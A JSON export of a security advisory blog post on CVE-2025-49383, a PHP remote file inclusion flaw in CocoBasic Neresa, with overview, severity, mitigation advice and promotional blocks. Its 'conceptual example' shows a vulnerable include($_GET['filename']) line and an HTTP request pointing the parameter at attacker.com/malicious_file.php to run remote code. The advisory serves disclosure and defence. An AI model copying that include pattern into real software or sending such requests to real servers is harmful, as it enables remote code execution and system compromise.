{"id":72329,"date":"2025-09-07T12:08:46","date_gmt":"2025-09-07T12:08:46","guid":{"rendered":""},"modified":"2025-09-10T11:01:41","modified_gmt":"2025-09-10T17:01:41","slug":"cve-2025-49383-php-remote-file-inclusion-vulnerability-in-cocobasic-neresa","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-49383-php-remote-file-inclusion-vulnerability-in-cocobasic-neresa\/","title":{"rendered":"<strong>CVE-2025-49383: PHP Remote File Inclusion Vulnerability in CocoBasic Neresa<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>CVE-2025-49383 is a critical vulnerability affecting CocoBasic Neresa, a popular PHP-based software tool. This vulnerability arises due to an improper control of the filename for the Include\/Require statement in the PHP program, commonly referred to as &#8216;PHP Remote File Inclusion&#8217;. The exploit could potentially <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-23264-critical-vulnerability-in-nvidia-megatron-lm-may-lead-to-code-execution-and-data-tampering\/\"  data-wpil-monitor-id=\"79909\">lead to system compromise or data<\/a> leakage, impacting any organization that utilizes this software. Given the widespread use of PHP in the development community, it&#8217;s crucial to understand this vulnerability and take appropriate measures to mitigate its effect.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-49383<br \/>\nSeverity: Critical, CVSS 8.1<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54788-sql-injection-vulnerability-in-suitecrm-leading-to-potential-system-compromise-or-data-leakage\/\"  data-wpil-monitor-id=\"80187\">System compromise or data<\/a> leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1221679689\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p>CocoBasic Neresa | Up to 1.3<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>This vulnerability is exploited by manipulating the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48160-improper-control-of-filename-for-php-program-in-cocobasic-caliris\/\"  data-wpil-monitor-id=\"84645\">filename in an Include\/Require statement in a PHP program<\/a>. The attacker can include a file from a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-23310-remote-code-execution-vulnerability-in-nvidia-triton-inference-server\/\"  data-wpil-monitor-id=\"80311\">remote server that contains malicious code<\/a>. This allows the attacker to execute arbitrary PHP code on the server, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-7457-macos-authorization-model-exploit-leading-to-potential-mitm-attacks\/\"  data-wpil-monitor-id=\"79951\">leading to potential<\/a> system compromise or data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3589764528\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here is a conceptual example of how this vulnerability might be exploited:<\/p>\n<pre><code class=\"\" data-line=\"\">&lt;?php\n\/\/ The following line is vulnerable because it does not validate\n\/\/ or sanitize the filename properly before using it.\ninclude($_GET[&#039;filename&#039;]);\n?&gt;<\/code><\/pre>\n<p>An attacker could exploit this by sending a specially crafted request like this:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/vulnerable_page.php?filename=http:\/\/attacker.com\/malicious_file.php HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n<p>In this example, `attacker.com\/malicious_file.php` contains the malicious PHP <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47176-code-execution-vulnerability-in-microsoft-office-outlook\/\"  data-wpil-monitor-id=\"80353\">code that the attacker wants to execute<\/a> on the server.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>The best mitigation for this vulnerability is to apply the vendor patch as soon as it becomes available. If a patch is not immediately available, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation. These tools can be configured to block or alert on suspicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49382-cross-site-request-forgery-vulnerability-in-jobzilla-wordpress-theme\/\"  data-wpil-monitor-id=\"81163\">requests that seem to be exploiting this vulnerability<\/a>.<br \/>\nIt is also advisable to follow secure <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-43577-use-after-free-vulnerability-in-acrobat-reader-leading-to-arbitrary-code-execution\/\"  data-wpil-monitor-id=\"80139\">coding practices to prevent these vulnerabilities<\/a> in the first place. Specifically, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-24325-improper-input-validation-in-intel-r-800-series-ethernet-driver-allows-potential-escalation-of-privilege\/\"  data-wpil-monitor-id=\"80469\">validate and sanitize all user inputs<\/a> and avoid using user inputs directly in Include\/Require statements in PHP programs.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview CVE-2025-49383 is a critical vulnerability affecting CocoBasic Neresa, a popular PHP-based software tool. This vulnerability arises due to an improper control of the filename for the Include\/Require statement in the PHP program, commonly referred to as &#8216;PHP Remote File Inclusion&#8217;. The exploit could potentially lead to system compromise or data leakage, impacting any organization [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-72329","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/72329","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=72329"}],"version-history":[{"count":9,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/72329\/revisions"}],"predecessor-version":[{"id":77430,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/72329\/revisions\/77430"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=72329"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=72329"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=72329"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=72329"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=72329"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=72329"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=72329"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=72329"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=72329"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}